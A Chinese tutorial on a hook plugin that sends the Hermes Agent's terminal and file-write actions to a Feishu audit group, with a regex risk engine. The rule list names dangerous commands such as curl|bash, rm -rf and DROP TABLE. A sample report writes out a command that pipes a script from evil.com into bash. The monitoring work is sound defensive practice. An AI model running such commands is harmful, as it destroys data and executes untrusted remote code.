Hermes Agent 插件系统实战:用 Hooks 打造飞书操作审计
本文是「Hermes Agent 群晖 NAS 部署系列」的进阶篇。适用读者:已完成 Hermes Agent 基础部署,希望深入掌握 Plugin 系统的进阶玩家。 前置要求:Hermes Agent 已在 Docker 中稳定运行,飞书消息通道已配置完成。
一、为什么需要操作审计?
当你给 AI Agent 赋予了执行终端命令、写入文件等”危险权限”后,一个根本性问题浮出水面:
“当你不在电脑前的时候,它在干什么?”
尤其是以下三个场景,让这个问题变得不可忽视:
1. 后台任务的”黑盒”问题
你给 Hermes 设了定时任务(Cron),让它每天凌晨 2 点去爬取新闻。半夜它有没有跑飞?有没有执行了预期之外的命令?第二天出了问题你完全不知道是谁干的——这就是典型的黑盒问题。
2. /yolo 模式的安全焦虑
Hermes 有一个叫 /yolo 的火力全开模式(跳过所有危险命令审批直接执行)。在长时间挂机跑任务时,如果不开 /yolo,每遇到一个”危险命令”就会卡住等你批准,任务就死了。但开了 /yolo,你又不放心。审计系统就是解决这个矛盾的——允许先斩,但保留行刑记录。
3. 信息分流
你和 Hermes 的对话窗口应该是干净、优雅的”人话交流”。而底层的 bash 命令、文件写入等技术细节,应该被分流到一个专门的监控通道,需要的时候再去翻看。
解决方案:Plugin + Hooks
Hermes Agent 内建了一套完整的插件系统(Plugin System)。通过注册生命周期钩子(Lifecycle Hooks),我们可以在 AI 调用任何工具的前后插入自定义逻辑——比如把高危操作实时推送到飞书群。
效果预览:
当 Hermes 执行任何终端命令或写入文件时,你的飞书监控群会零延迟弹出一张告警卡片。卡片会根据风险等级自动变色(红/暖金/青碧),并附带详细的风险分析报告,用中文告诉你这条命令为什么危险、可能造成什么后果:
Hermes 操作审计 [🔴 极高] ← 红色卡片
工具: terminal 时间: 2026-04-12 22:34:51
────────────────────────────────────
⚡ 风险分析报告
🔴 极高 使用了 rm -rf(递归+强制删除)。该命令会从指定路径开始,
向下删除全部文件和子目录,且不会弹出任何确认提示。一旦路径写错
(如 / 或 ~),将导致系统数据被不可逆清空。请务必确认目标路径是否正确。
────────────────────────────────────
📋 原始参数
{"command": "rm -rf /tmp/test", "timeout": 120}
Task: 20260412_111809_21b03a | Hermes Agent 审计引擎 v3.2
而低风险操作(如 echo hello)默认不会推送到监控群,避免信息噪音。你可以通过配置文件或一条命令随时调整报警阈值。
二、Hermes 插件系统架构速览
插件来源
Hermes Agent 从三个位置发现和加载插件:
|
|
|
|
|---|---|---|
| User 插件 | ~/.hermes/plugins/<name>/ |
|
| Project 插件 | ./.hermes/plugins/<name>/ |
|
| Pip 插件 | hermes_agent.plugins
|
|
在 Docker 部署中,
HERMES_HOME环境变量指向/opt/data,因此 User 插件实际路径为/opt/data/plugins/<name>/,对应到宿主机就是你挂载的data目录。
可用的生命周期 Hooks
每个插件可以注册以下 8 种 Hook:
|
|
|
|
|---|---|---|
pre_tool_call |
|
|
post_tool_call |
|
|
pre_llm_call |
|
|
post_llm_call |
|
|
pre_api_request |
|
|
post_api_request |
|
|
on_session_start |
|
|
on_session_end |
|
|
插件目录结构
每个插件是一个独立的子目录,必须包含两个文件:
plugins/
└── feishu_audit/
├── plugin.yaml ← 清单文件(身份声明)
└── __init__.py ← 代码入口(必须包含 register 函数)
三、实战:从零搭建飞书操作审计
第 1 步:创建飞书群机器人
-
在飞书中创建一个群(如”Hermes 监控”) -
进入群设置 → 群机器人 → 添加 → 自定义机器人 -
复制生成的 Webhook URL,形如: https://open.feishu.cn/open-apis/bot/v2/hook/xxxxxxxx -
(可选)在 安全设置 中添加安全校验
📌 安全设置说明: 飞书官方强烈建议为自定义机器人添加安全设置,但这不是必须的——不设置也能正常推送。飞书提供三种安全校验方式:自定义关键词(消息必须包含指定关键词)、IP 白名单(限制调用来源 IP)、签名校验(请求需携带签名)。如果你的 Webhook 地址不会泄露,可以暂时不设置。如果你选择设置关键词,填写
Hermes即可(我们的卡片标题中已包含该词)。
第 2 步:创建插件目录
SSH 连接到群晖,执行:
mkdir -p /volume1/docker/hermes-agent/data/plugins/feishu_audit/
第 3 步:创建 plugin.yaml 清单
cat << 'EOF' > /volume1/docker/hermes-agent/data/plugins/feishu_audit/plugin.yaml
name: feishu_audit
version: "1.0.0"
description: "飞书操作审计插件 - 将高危操作实时推送到飞书群"
author: "Hanson"
provides_hooks:
- pre_tool_call
EOF
第 4 步:创建审计配置文件
插件通过一个独立的 JSON 配置文件来控制报警行为,这样后续调整不需要修改 Python 代码:
cat << 'EOF' > /volume1/docker/hermes-agent/data/plugins/feishu_audit/audit_config.json
{
"min_report_level": "中等",
"colors": {
"极高": "red",
"高": "yellow",
"中等": "turquoise",
"低": "green"
}
}
EOF
配置说明:
|
|
|
|
|---|---|---|
min_report_level |
|
极高
高 / 中等 / 低 |
colors |
|
redyellowturquoisegreenblueorangevioletindigowathetpurplecarminegrey |
第 5 步:创建插件代码(含风险分析引擎)
⚠️ 不要使用
vi粘贴 Python 代码! vi 的自动缩进会破坏 Python 的缩进格式(导致著名的”楼梯形”代码),Python 对缩进极其敏感,格式错误会直接导致插件加载失败。请使用下面的cat << 'PYEOF'方式一键写入。
将下面命令中的 WEBHOOK_URL 替换为你自己的飞书 Webhook 地址后,整段复制到 SSH 终端执行:
cat << 'PYEOF' > /volume1/docker/hermes-agent/data/plugins/feishu_audit/__init__.py
"""飞书操作审计插件 v3.2 - 支持 JSON 配置热调整"""
import urllib.request
import json
import logging
import re
import os
from datetime import datetime, timezone, timedelta
logger = logging.getLogger(__name__)
WEBHOOK_URL = "https://open.feishu.cn/open-apis/bot/v2/hook/你的真实地址"
PLUGIN_DIR = os.path.dirname(os.path.abspath(__file__))
CONFIG_PATH = os.path.join(PLUGIN_DIR, "audit_config.json")
LEVEL_VALUE = {"极高": 4, "高": 3, "中等": 2, "低": 1}
def _load_cfg():
try:
with open(CONFIG_PATH, "r", encoding="utf-8") as f:
return json.load(f)
except Exception:
return {"min_report_level": "中等",
"colors": {"极高": "red", "高": "yellow",
"中等": "turquoise", "低": "green"}}
# 只监控这些高危工具,其余的(如读文件、搜索)不发通知
SENSITIVE_TOOLS = {
"terminal", # 终端命令执行
"python", # Python 代码执行
"write_file", # 写入新文件
"edit_file", # 编辑文件
"write_to_file", # 写入文件(别名)
"multi_replace_file_content", # 批量替换文件内容
"run_command", # 运行命令(别名)
"send_command_input", # 向运行中的命令发送输入
}
# ============ 风险规则引擎 ============
# 每条规则:(正则模式, 风险等级, 详细中文说明)
RISK_RULES = [
# --- 文件删除 ---
(r"\brm\s+.*-[a-z]*r[a-z]*f",
"🔴 极高",
"使用了 rm -rf(递归+强制删除)。该命令会从指定路径开始,"
"向下删除全部文件和子目录,且不会弹出任何确认提示。"
"一旦路径写错(如 / 或 ~),将导致系统数据被不可逆清空。"
"请务必确认目标路径是否正确。"),
(r"\brm\s+(-[a-z]+\s+)*(/|~|\$HOME)",
"🔴 极高",
"删除目标指向了根目录 (/) 或用户主目录 (~)。"
"这两个路径是系统和个人数据的根基,误删将导致灾难性后果。"
"即使只删一层,也可能破坏关键配置文件。"),
(r"\brm\b",
"🟡 中等",
"执行了文件删除操作。虽然没有检测到 -rf 等高危标志,"
"但仍建议确认目标文件是否真的需要删除,以免误删重要数据。"),
# --- 权限与所有权 ---
(r"\bchmod\s+777",
"🔴 极高",
"将文件权限设为 777(所有人可读/写/执行)。"
"这相当于把大门钥匙公开——NAS 上的任何进程或用户都能随意篡改该文件。"
"如果目标是脚本或配置文件,攻击者可以注入恶意代码。"
"建议使用更精准的权限(如 755 或 644)。"),
(r"\bchmod\b",
"🟡 中等",
"修改了文件/目录的访问权限。如果设置不当,"
"可能导致原本受保护的文件变得可被他人读取或篡改。"
"请确认目标路径和权限值是否符合预期。"),
(r"\bchown\b",
"🟡 中等",
"修改了文件/目录的所有者。如果转移了关键系统文件的归属权,"
"可能导致原服务无法正常读取配置,引发服务崩溃。"),
# --- 网络下载+执行 ---
(r"curl.*\|\s*(ba)?sh",
"🔴 极高",
"检测到「从网络下载脚本并通过管道直接执行」的模式 (curl | bash)。"
"这是已知的最高风险操作之一——你无法在执行前审查脚本内容,"
"恶意脚本可以在你的 NAS 上为所欲为(窃取密钥、植入后门、删除数据)。"
"强烈建议:先下载文件 → 人工审查内容 → 再手动执行。"),
(r"wget.*\|\s*(ba)?sh",
"🔴 极高",
"检测到「从网络下载脚本并通过管道直接执行」的模式 (wget | sh)。"
"与 curl | bash 同理,属于盲目执行远程代码,"
"无法预知脚本内容,存在极高的供应链攻击风险。"),
(r"\bcurl\b.*-[a-z]*o\b",
"🟡 中等",
"使用 curl 从网络下载文件到本地。"
"下载本身无害,但请注意:下载的文件如果后续被赋予执行权限,"
"同样存在安全风险。建议检查下载来源是否可信。"),
(r"\bwget\b",
"🟡 中等",
"使用 wget 从网络下载文件。"
"请确认下载源是否为可信域名,避免下载到被篡改的文件。"),
# --- 系统级操作 ---
(r"\breboot\b|\bshutdown\b|\binit\s+[06]",
"🔴 极高",
"正在尝试重启或关闭操作系统!"
"如果你的 NAS 正在跑其他重要服务(如 Plex、下载任务、数据库),"
"贸然重启会导致所有服务中断,未保存的数据可能丢失。"),
(r"\bsystemctl\s+(stop|disable|mask)",
"🟠 高",
"正在停止或禁用系统服务。被停掉的服务将无法正常工作,"
"如果目标是网络、存储或 Docker 相关的核心服务,"
"可能导致 NAS 功能瘫痪。请确认服务名称是否正确。"),
(r"\bkill\s+-9\b|\bkillall\b",
"🟠 高",
"使用 kill -9 强制终止进程。"
"该信号不允许进程做任何清理工作(如保存缓存、释放锁),"
"可能导致数据文件损坏或服务状态不一致。"
"建议优先使用 kill(默认 SIGTERM)让进程优雅退出。"),
# --- Docker ---
(r"\bdocker\s+(rm|rmi)\b",
"🟠 高",
"正在删除 Docker 容器或镜像。如果删除了正在使用的容器,"
"对应的服务将立即停止。如果删除了镜像且本地无备份,"
"需要重新拉取(可能耗时较长)。"),
(r"\bdocker\s+(stop|kill)\b",
"🟠 高",
"正在停止 Docker 容器。容器内运行的服务将中断,"
"如果该容器没有配置自动重启策略 (restart: always),"
"需要手动重新启动。"),
(r"\bdocker\s+exec\b",
"🟡 中等",
"在 Docker 容器内部执行命令。"
"虽然容器提供了隔离,但容器内的操作仍可能影响挂载的数据卷。"),
# --- 数据库 ---
(r"\b(DROP|TRUNCATE)\s+(TABLE|DATABASE)\b",
"🔴 极高",
"正在执行数据库的 DROP/TRUNCATE 操作!"
"这会永久删除整张表或整个数据库,且通常无法通过 UNDO 恢复。"
"除非你有完整的数据库备份,否则数据将彻底丢失。"),
(r"\bDELETE\s+FROM\b(?!.*WHERE)",
"🟠 高",
"执行了不带 WHERE 条件的 DELETE 语句,"
"这意味着将清空整张表的所有数据行。"
"如果是误操作,海量数据将全部丢失。"
"请确认是否需要添加 WHERE 过滤条件。"),
# --- Git ---
(r"git\s+push\s+.*--force",
"🟠 高",
"使用 git push --force 强制推送。"
"这会直接覆盖远程仓库的提交历史——如果有其他协作者,"
"他们的工作可能被你的推送覆盖并无法找回。"
"建议使用 --force-with-lease 作为更安全的替代。"),
(r"git\s+reset\s+--hard",
"🟡 中等",
"使用 git reset --hard 硬重置。"
"所有未提交的代码修改将被丢弃且无法恢复(不进回收站)。"
"如果有重要的未提交更改,请先 git stash 保存。"),
# --- 敏感路径写入 ---
(r">\s*/etc/",
"🟠 高",
"正在向 /etc/ 目录写入内容。/etc/ 是系统核心配置的存放地,"
"错误的写入可能导致网络配置丢失、SSH 无法连接、"
"或系统无法正常启动。请再三确认目标文件和写入内容。"),
(r">\s*/usr/|>\s*/opt/",
"🟡 中等",
"正在向系统程序目录 (/usr/ 或 /opt/) 写入内容。"
"这些目录通常由包管理器维护,手动修改可能在下次系统更新时被覆盖,"
"或导致依赖关系混乱。"),
# --- 敏感信息 ---
(r"(API_KEY|PASSWORD|SECRET|TOKEN|PRIVATE_KEY)\s*=",
"🟠 高",
"命令中出现了疑似密钥/密码的赋值操作。"
"如果这条命令被记录到日志或 shell history 中,"
"密钥就会以明文形式暴露。建议通过环境变量文件 (.env) "
"或密钥管理工具来传递敏感信息,而不是直接写在命令行里。"),
# --- Python 高危 ---
(r"\bos\.system\b|\bsubprocess\b",
"🟡 中等",
"Python 代码中调用了系统命令(os.system 或 subprocess)。"
"这相当于 Python 脚本获得了终端的执行权限,"
"执行的命令将直接作用于宿主环境。"),
(r"\bshutil\.rmtree\b",
"🟠 高",
"Python 代码中使用了 shutil.rmtree(),"
"该函数会递归删除指定目录及其所有内容,效果等同于 rm -rf。"
"请确认传入的路径不会误删重要数据。"),
(r"\beval\b|\bexec\b",
"🟡 中等",
"Python 代码使用了 eval() 或 exec() 动态执行代码。"
"如果执行的内容来自外部输入,存在代码注入风险。"),
]
EMOJI_TO_LEVEL = {"🔴 极高": "极高", "🟠 高": "高", "🟡 中等": "中等", "🟢 低": "低"}
def analyze_risk(tool_name, tool_args):
"""分析工具调用的风险点,返回 (最高风险等级, 详细说明列表)"""
risks = []
# 拼接所有可能包含命令/代码的文本
text_to_scan = ""
if isinstance(tool_args, dict):
for key in ("command", "code", "content", "input"):
val = tool_args.get(key, "")
if val:
text_to_scan += str(val) + "\n"
text_to_scan += json.dumps(tool_args, ensure_ascii=False)
else:
text_to_scan = str(tool_args)
# 逐条匹配风险规则
seen = set()
for pattern, level, desc in RISK_RULES:
if re.search(pattern, text_to_scan, re.IGNORECASE):
if desc not in seen:
seen.add(desc)
risks.append((level, desc))
if not risks:
return"🟢 低", ["本次为常规操作,未匹配到已知风险模式。请放心。"]
max_level = max(risks, key=lambda r: LEVEL_VALUE.get(
EMOJI_TO_LEVEL.get(r[0], "低"), 0))[0]
return max_level, [f"{r[0]} {r[1]}"for r in risks]
def on_pre_tool_call(**kwargs):
"""pre_tool_call 钩子回调 - 在工具执行前触发"""
if not WEBHOOK_URL or "你的真实地址"in WEBHOOK_URL:
return
tool_name = kwargs.get("tool_name", "unknown")
tool_args = kwargs.get("args", {})
task_id = kwargs.get("task_id", "-")
if tool_name not in SENSITIVE_TOOLS:
return
# 格式化参数
if isinstance(tool_args, dict):
args_str = json.dumps(tool_args, ensure_ascii=False, indent=2)
else:
args_str = str(tool_args)
if len(args_str) > 500:
args_str = args_str[:500] + "\n... (截断)"
# 风险分析
risk_level, risk_details = analyze_risk(tool_name, tool_args)
risk_text = "\n\n".join(f"{d}"for d in risk_details)
# ★ 读取配置,判断是否需要推送
cfg = _load_cfg()
min_level = cfg.get("min_report_level", "中等")
level_name = EMOJI_TO_LEVEL.get(risk_level, "低")
if LEVEL_VALUE.get(level_name, 0) < LEVEL_VALUE.get(min_level, 0):
logger.debug(f"[Feishu Audit] {level_name}级操作已跳过推送: {tool_name}")
return
# ★ 从配置读取卡片颜色
colors = cfg.get("colors", {"极高": "red", "高": "yellow",
"中等": "turquoise", "低": "green"})
template = colors.get(level_name, "blue")
bj_time = datetime.now(
timezone(timedelta(hours=8))
).strftime("%Y-%m-%d %H:%M:%S")
# 组装飞书消息卡片
msg = {
"msg_type": "interactive",
"card": {
"header": {
"title": {
"tag": "plain_text",
"content": f"Hermes 操作审计 [{risk_level}]"
},
"template": template
},
"elements": [
{
"tag": "div",
"fields": [
{"is_short": True, "text": {
"tag": "lark_md",
"content": f"**工具**\n`{tool_name}`"
}},
{"is_short": True, "text": {
"tag": "lark_md",
"content": f"**时间**\n{bj_time}"
}},
]
},
{"tag": "hr"},
{
"tag": "div",
"text": {
"tag": "lark_md",
"content": f"**⚡ 风险分析报告**\n\n{risk_text}"
}
},
{"tag": "hr"},
{
"tag": "div",
"text": {
"tag": "lark_md",
"content": (
f"**📋 原始参数**\n"
f"```json\n{args_str}\n```"
)
}
},
{
"tag": "note",
"elements": [{"tag": "plain_text",
"content": f"Task: {task_id} | Hermes Agent 审计引擎 v3.2"}]
}
]
}
}
# 发送告警
try:
req = urllib.request.Request(
WEBHOOK_URL,
data=json.dumps(msg).encode("utf-8"),
headers={"Content-Type": "application/json"},
)
urllib.request.urlopen(req, timeout=5)
except Exception as e:
logger.error(f"[Feishu Audit] 推送失败: {e}")
def register(ctx):
"""Hermes 插件入口函数 - 框架会在加载时自动调用"""
ctx.register_hook("pre_tool_call", on_pre_tool_call)
cfg = _load_cfg()
logger.info(f"[Feishu Audit] ✅ v3.2 已加载 | 最低推送级别: {cfg.get('min_report_level', '中等')}")
PYEOF
第 6 步:安装报警级别快捷工具(可选但推荐)
为了后续调整报警级别时不需要手动编辑配置文件,我们创建一个一键调整的命令行工具:
cat << 'SHEOF' > /usr/local/bin/hermes-set-alert
#!/bin/bash
CONFIG="/volume1/docker/hermes-agent/data/plugins/feishu_audit/audit_config.json"
show_menu() {
echo""
echo" ┌──────────────────────────────┐"
echo" │ Hermes 审计报警级别设置 │"
echo" ├──────────────────────────────┤"
echo" │ 1) 极高 - 只报最危险的操作 │"
echo" │ 2) 高 - 报 高+极高 │"
echo" │ 3) 中等 - 报 中等+高+极高 │"
echo" │ 4) 低 - 全部都报 │"
echo" └──────────────────────────────┘"
echo""
read -p " 请选择 [1-4]: " choice
case \$choicein
1) set_level "极高" ;;
2) set_level "高" ;;
3) set_level "中等" ;;
4) set_level "低" ;;
*) echo" ❌ 无效选择"; exit 1 ;;
esac
}
set_level() {
local level="\$1"
sed -i "s/\"min_report_level\": \"[^\"]*\"/\"min_report_level\": \"\${level}\"/""\$CONFIG"
echo""
echo" ✅ 已设置为: \${level} 及以上触发报警"
echo" 🔄 正在重启 Hermes..."
docker restart hermes-agent > /dev/null 2>&1
echo" ✅ 完成!"
echo""
}
case"\${1,,}"in
"极高"|critical) set_level "极高" ;;
"高"|high) set_level "高" ;;
"中等"|medium) set_level "中等" ;;
"低"|low) set_level "低" ;;
"") show_menu ;;
*)
echo" 用法: hermes-set-alert [极高|高|中等|低]"
echo" hermes-set-alert [critical|high|medium|low]"
echo" 不加参数则显示交互菜单"
exit 1 ;;
esac
SHEOF
chmod +x /usr/local/bin/hermes-set-alert
安装后用法超简单:
# 交互式菜单
hermes-set-alert
# 或直接指定(中英文均可)
hermes-set-alert high # 只报 高+极高
hermes-set-alert medium # 报 中等+高+极高
hermes-set-alert 高 # 中文也行
第 7 步:重启容器生效
sudo docker restart hermes-agent
第 8 步:测试
在飞书中给 Hermes 发一条需要调用工具的指令,例如:
帮我执行一下 echo audit test
⚠️ 发”你好”之类的简单对话不会触发插件(原因见下文”踩坑记录”)。必须让 Hermes 调用具体的工具才能触发 Hook。
如果一切正常,你的飞书监控群会立即收到一张根据风险等级自动变色的告警卡片。默认配置下,低风险操作(如 echo hello)不会推送到监控群。
四、踩坑记录:我们趟过的所有地雷
在实际部署过程中,我们连续踩了 4 个坑,每一个都会导致”插件完全静默不工作”且没有任何报错。以下是完整的排雷记录:
坑 1:缺少 plugin.yaml 清单文件 💥
现象:插件代码写好了,容器也重启了,但没有任何反应。日志中搜索 plugin 或 discover 完全为空。
原因:Hermes 的插件系统要求每个插件目录必须同时包含 plugin.yaml(清单)和 __init__.py(代码)。只有 __init__.py 的目录会被直接跳过,不会有任何报错或警告——因为框架认为这不是一个插件。
解决:创建 plugin.yaml,至少声明 name 字段。
name:feishu_audit
version:"1.0.0"
provides_hooks:
-pre_tool_call
验证命令(在容器中手动触发插件发现):
sudo docker exec hermes-agent python3 -c "
from hermes_cli.plugins import discover_plugins, get_plugin_manager
discover_plugins()
pm = get_plugin_manager()
print('已发现的插件:', list(pm._plugins.keys()))
for name, p in pm._plugins.items():
print(f' [{name}] enabled={p.enabled}, error={p.error}')
"
如果输出 enabled=True, error=None,说明插件已被正确识别。
坑 2:发送简单消息不会触发插件加载 ⏳
现象:plugin.yaml 补上了,容器也重启了,手动验证也通过了,但给 Hermes 发”你好”后检查日志……还是空的。
原因:Hermes 的插件发现是懒加载(Lazy Loading)机制!discover_plugins() 不在容器启动时执行,而是在 tools_config.py 中被调用——只有当 Agent 需要使用工具时,才会触发插件发现和加载。
如果你只发了”你好”,Agent 直接用大模型回复了”你好 (。•ᴗ•。)”,全程没有调用任何工具,自然不会触发工具配置初始化,插件也就不会被加载。
解决:发一条必须调用工具的指令,比如:
帮我执行一下 echo hello
此时 Agent 被迫去初始化工具链 → tools_config 加载 → discover_plugins() 执行 → 插件被发现并注册 Hook → Hook 被触发 → 飞书收到通知。
📌 插件发现是幂等的(
idempotent),首次触发后会缓存结果,后续不会重复加载。
坑 3:Hook 回调只接收关键字参数 🔑
现象:插件加载成功了,飞书也收到了通知卡片,但”执行参数”显示为空的 {}。
原因:Hermes 的 Hook 调用方式是 cb(**kwargs)——只传关键字参数,不传位置参数。如果你的回调函数签名写成了 def on_tool_call(*args, **kwargs) 并尝试从 args[0] 取工具名,结果永远是空的。
通过阅读测试代码发现了 Hook 的实际调用签名:
# 源码:hermes_cli/plugins.py 第 490 行
ret = cb(**kwargs)
# 测试代码揭示的完整参数:
mgr.invoke_hook("pre_tool_call", tool_name="test", args={}, task_id="t1")
正确的参数获取方式:
|
|
|
|
|---|---|---|
tool_name |
str |
"terminal") |
args |
dict |
{"command": "echo hello"}) |
task_id |
str |
|
解决:回调函数必须使用 **kwargs 签名,并通过 kwargs.get("tool_name") 方式取值。
坑 4:不要用 vi 粘贴 Python 代码 🪜
现象:通过 vi 编辑器粘贴代码后,Python 缩进错乱变成”楼梯形”。
原因:vi 的自动缩进功能会在粘贴时叠加额外的空格。Python 对缩进极其敏感,错误的缩进直接导致语法错误或逻辑错误。
解决:使用 cat << 'EOF' > 文件路径 方式写入,100% 保持原始格式。
五、风险分析引擎详解
插件的核心亮点是内置的规则引擎。它会对每一条被拦截的命令,用正则表达式逐条匹配 20+ 种已知危险模式,并输出详细的中文分析报告。
四级风险等级
|
|
|
|
|
|---|---|---|---|
|
|
|
|
rm -rf
curl | bash、DROP TABLE |
|
|
|
|
docker stop
kill -9、密钥明文 |
|
|
|
|
chmod
wget、普通文件删除 |
|
|
|
|
echo hello
|
📌 颜色方案可通过
audit_config.json自定义修改,飞书支持 12 种卡片颜色。
覆盖的风险类型
规则引擎目前覆盖以下 10 大类危险操作:
|
|
|
|
|---|---|---|
| 文件删除 | rm -rf
rm /、rm ~ |
|
| 权限修改 | chmod 777
chown |
|
| 网络下载执行 | curl | bash
wget | sh |
|
| 系统操作 | reboot
shutdown、kill -9 |
|
| Docker 操作 | docker rm
docker stop |
|
| 数据库 | DROP TABLE
DELETE FROM(无 WHERE) |
|
| Git 危险操作 | push --force
reset --hard |
|
| 敏感路径 |
/etc/、/usr/ |
|
| 密钥泄露 | API_KEY=xxx
PASSWORD=xxx |
|
| Python 高危 | shutil.rmtree
eval、subprocess |
|
分析报告示例
当 Hermes 执行 rm -rf /tmp/test && curl http://evil.com/x.sh | bash 时,卡片会同时命中多条规则并逐一列出:
⚡ 风险分析报告
🔴 极高 使用了 rm -rf(递归+强制删除)。该命令会从指定路径开始,
向下删除全部文件和子目录,且不会弹出任何确认提示。一旦路径写错
(如 / 或 ~),将导致系统数据被不可逆清空。请务必确认目标路径是否正确。
🔴 极高 检测到「从网络下载脚本并通过管道直接执行」的模式 (curl | bash)。
这是已知的最高风险操作之一——你无法在执行前审查脚本内容,恶意脚本可以
在你的 NAS 上为所欲为(窃取密钥、植入后门、删除数据)。强烈建议:
先下载文件 → 人工审查内容 → 再手动执行。
扩展规则
如果你想添加自定义的风险检测规则,只需在 RISK_RULES 列表中追加一个三元组:
# (正则模式, 风险等级, 详细中文说明)
(r"\bmy_dangerous_command\b",
"🟠 高",
"这里写你的详细说明,越具体越好——告诉审阅者这条命令做了什么、"
"为什么危险、以及应该怎么处理。"),
六、进阶玩法
一键调整报警级别
部署了 hermes-set-alert 工具后,调整报警级别只需一条命令:
# 只想收到最严重的告警
hermes-set-alert critical
# 恢复默认(中等及以上)
hermes-set-alert medium
# 全部都报(调试用)
hermes-set-alert low
# 不记得有哪些选项?直接运行,出交互菜单
hermes-set-alert
自定义监控范围
修改 __init__.py 中的 SENSITIVE_TOOLS 集合即可扩展或缩小监控范围。例如,如果你想监控所有浏览器操作:
SENSITIVE_TOOLS = {
"terminal",
"python",
"write_file",
"browser_navigate", # 浏览器导航
"browser_click", # 浏览器点击
"browser_snapshot", # 浏览器截图
}
添加 post_tool_call 钩子
如果你不仅想知道”它要干什么”,还想知道”它干的结果怎样”,可以同时注册 post_tool_call:
defregister(ctx):
ctx.register_hook("pre_tool_call", on_pre_tool_call)
ctx.register_hook("post_tool_call", on_post_tool_call)
禁用插件(不删文件)
在 Hermes 的 config.yaml 中添加:
plugins:
disabled:
-feishu_audit
重启容器后插件会被跳过,日志中会显示 Skipping disabled plugin 'feishu_audit'。
钉钉版改造
如果你使用钉钉而非飞书,只需替换 WEBHOOK_URL 和消息体格式。钉钉自定义机器人的消息体为:
msg = {
"msgtype": "markdown",
"markdown": {
"title": "Hermes 审计告警",
"text": f"### 🚨 高危操作\n- **工具**: {tool_name}\n- **参数**: `{args_str}`"
}
}
七、完整文件清单
部署完成后,你的文件结构应如下:
/volume1/docker/hermes-agent/data/
├── config.yaml
├── sessions/
├── skills/
└── plugins/
└── feishu_audit/
├── plugin.yaml ← 6 行清单
├── audit_config.json ← 报警级别 + 颜色配置
└── __init__.py ← ~250 行 Python(含风险引擎 + 配置读取)
/usr/local/bin/
└── hermes-set-alert ← 一键调整报警级别的快捷工具
八、总结
|
|
|
|---|---|
|
|
pre_tool_call
|
|
|
|
|
|
|
|
|
hermes-set-alert high
|
/yolo 模式不放心 |
|
|
|
|
|
|
plugin.yaml + __init__.py |
|
|
|
|
|
**kwargs,不要用位置参数 |
三个文件 + 一个快捷工具,约 250 行代码,零依赖安装,你就拥有了一套带智能风险分析、可配置报警级别的企业级 AI 行为审计系统。
夜雨聆风